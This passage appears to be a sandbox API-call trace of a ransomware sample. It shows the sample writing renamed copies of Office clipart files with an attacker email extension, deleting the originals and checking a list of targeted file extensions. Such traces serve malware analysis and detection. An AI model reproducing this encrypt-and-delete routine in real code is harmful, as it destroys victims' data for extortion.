[0154.261] SetEndOfFile (hFile=0x10d0) returned 1 [0154.262] CloseHandle (hObject=0x10d0) returned 1 [0154.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0154.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.331] lstrlenW (lpString=".doc") returned 4 [0154.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString=".docx") returned 5 [0154.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.331] lstrlenW (lpString=".pdf") returned 4 [0154.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString=".xls") returned 4 [0154.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.331] lstrlenW (lpString=".xlsx") returned 5 [0154.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.331] lstrlenW (lpString=".ppt") returned 4 [0154.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.331] lstrlenW (lpString=".zip") returned 4 [0154.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.331] lstrlenW (lpString=".rar") returned 4 [0154.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString=".bz2") returned 4 [0154.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString=".7z") returned 3 [0154.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.331] lstrlenW (lpString=".dbf") returned 4 [0154.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.331] lstrlenW (lpString=".1cd") returned 4 [0154.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0154.332] lstrlenW (lpString=".jpg") returned 4 [0154.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.332] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.333] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0154.333] GetLastError () returned 0x0 [0154.333] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0154.393] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0154.394] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.394] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.394] SetEndOfFile (hFile=0x10e8) returned 1 [0154.395] CloseHandle (hObject=0x10e8) returned 1 [0154.400] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.401] SetEndOfFile (hFile=0x10a8) returned 1 [0154.401] CloseHandle (hObject=0x10a8) returned 1 [0154.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0154.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.402] lstrlenW (lpString=".doc") returned 4 [0154.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString=".docx") returned 5 [0154.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.403] lstrlenW (lpString=".pdf") returned 4 [0154.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString=".xls") returned 4 [0154.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.403] lstrlenW (lpString=".xlsx") returned 5 [0154.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.403] lstrlenW (lpString=".ppt") returned 4 [0154.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.403] lstrlenW (lpString=".zip") returned 4 [0154.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.403] lstrlenW (lpString=".rar") returned 4 [0154.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString=".bz2") returned 4 [0154.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString=".7z") returned 3 [0154.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.403] lstrlenW (lpString=".dbf") returned 4 [0154.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.403] lstrlenW (lpString=".1cd") returned 4 [0154.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0154.403] lstrlenW (lpString=".jpg") returned 4 [0154.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.407] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.407] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0154.408] GetLastError () returned 0x0 [0154.408] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0154.424] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0154.425] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.425] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.425] SetEndOfFile (hFile=0x10e8) returned 1 [0154.426] CloseHandle (hObject=0x10e8) returned 1 [0154.429] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.429] SetEndOfFile (hFile=0x10a8) returned 1 [0154.430] CloseHandle (hObject=0x10a8) returned 1 [0154.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0154.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.431] lstrlenW (lpString=".doc") returned 4 [0154.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.431] lstrlenW (lpString=".docx") returned 5 [0154.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.431] lstrlenW (lpString=".pdf") returned 4 [0154.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.431] lstrlenW (lpString=".xls") returned 4 [0154.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.431] lstrlenW (lpString=".xlsx") returned 5 [0154.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.432] lstrlenW (lpString=".ppt") returned 4 [0154.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.432] lstrlenW (lpString=".zip") returned 4 [0154.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.432] lstrlenW (lpString=".rar") returned 4 [0154.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.432] lstrlenW (lpString=".bz2") returned 4 [0154.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.432] lstrlenW (lpString=".7z") returned 3 [0154.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.432] lstrlenW (lpString=".dbf") returned 4 [0154.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.432] lstrlenW (lpString=".1cd") returned 4 [0154.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0154.432] lstrlenW (lpString=".jpg") returned 4 [0154.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.433] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.433] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0154.434] GetLastError () returned 0x0 [0154.434] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x2576, lpOverlapped=0x0) returned 1 [0154.459] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x2580, lpOverlapped=0x0) returned 1 [0154.461] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.461] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.461] SetEndOfFile (hFile=0x10e8) returned 1 [0154.461] CloseHandle (hObject=0x10e8) returned 1 [0155.055] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.055] SetEndOfFile (hFile=0x10a8) returned 1 [0155.056] CloseHandle (hObject=0x10a8) returned 1 [0155.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0155.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.058] lstrlenW (lpString=".doc") returned 4 [0155.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.058] lstrlenW (lpString=".docx") returned 5 [0155.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.058] lstrlenW (lpString=".pdf") returned 4 [0155.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.058] lstrlenW (lpString=".xls") returned 4 [0155.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.058] lstrlenW (lpString=".xlsx") returned 5 [0155.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.058] lstrlenW (lpString=".ppt") returned 4 [0155.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.058] lstrlenW (lpString=".zip") returned 4 [0155.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.058] lstrlenW (lpString=".rar") returned 4 [0155.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.058] lstrlenW (lpString=".bz2") returned 4 [0155.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.058] lstrlenW (lpString=".7z") returned 3 [0155.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.058] lstrlenW (lpString=".dbf") returned 4 [0155.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.059] lstrlenW (lpString=".1cd") returned 4 [0155.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0155.059] lstrlenW (lpString=".jpg") returned 4 [0155.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.060] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.060] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0155.061] GetLastError () returned 0x0 [0155.061] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x532, lpOverlapped=0x0) returned 1 [0155.097] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x540, lpOverlapped=0x0) returned 1 [0155.099] ReadFile (in: hFile=0x10a8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.099] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.099] SetEndOfFile (hFile=0x10e8) returned 1 [0155.100] CloseHandle (hObject=0x10e8) returned 1 [0155.105] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.105] SetEndOfFile (hFile=0x10a8) returned 1 [0155.106] CloseHandle (hObject=0x10a8) returned 1 [0155.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0155.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.107] lstrlenW (lpString=".doc") returned 4 [0155.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.107] lstrlenW (lpString=".docx") returned 5 [0155.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.107] lstrlenW (lpString=".pdf") returned 4 [0155.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.108] lstrlenW (lpString=".xls") returned 4 [0155.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.108] lstrlenW (lpString=".xlsx") returned 5 [0155.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.108] lstrlenW (lpString=".ppt") returned 4 [0155.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.108] lstrlenW (lpString=".zip") returned 4 [0155.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.108] lstrlenW (lpString=".rar") returned 4 [0155.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.108] lstrlenW (lpString=".bz2") returned 4 [0155.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.108] lstrlenW (lpString=".7z") returned 3 [0155.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.108] lstrlenW (lpString=".dbf") returned 4 [0155.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.108] lstrlenW (lpString=".1cd") returned 4 [0155.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0155.109] lstrlenW (lpString=".jpg") returned 4 [0155.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.114] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.114] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.115] GetLastError () returned 0x0 [0155.115] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x5a4, lpOverlapped=0x0) returned 1 [0155.210] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0155.210] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.211] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.211] SetEndOfFile (hFile=0x10d0) returned 1 [0155.211] CloseHandle (hObject=0x10d0) returned 1 [0155.213] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.213] SetEndOfFile (hFile=0x10e8) returned 1 [0155.214] CloseHandle (hObject=0x10e8) returned 1 [0155.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0155.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.215] lstrlenW (lpString=".doc") returned 4 [0155.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString=".docx") returned 5 [0155.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.215] lstrlenW (lpString=".pdf") returned 4 [0155.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString=".xls") returned 4 [0155.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.215] lstrlenW (lpString=".xlsx") returned 5 [0155.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.215] lstrlenW (lpString=".ppt") returned 4 [0155.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.215] lstrlenW (lpString=".zip") returned 4 [0155.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.215] lstrlenW (lpString=".rar") returned 4 [0155.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString=".bz2") returned 4 [0155.215] lstrcmpiW (lpString1=".bz2", 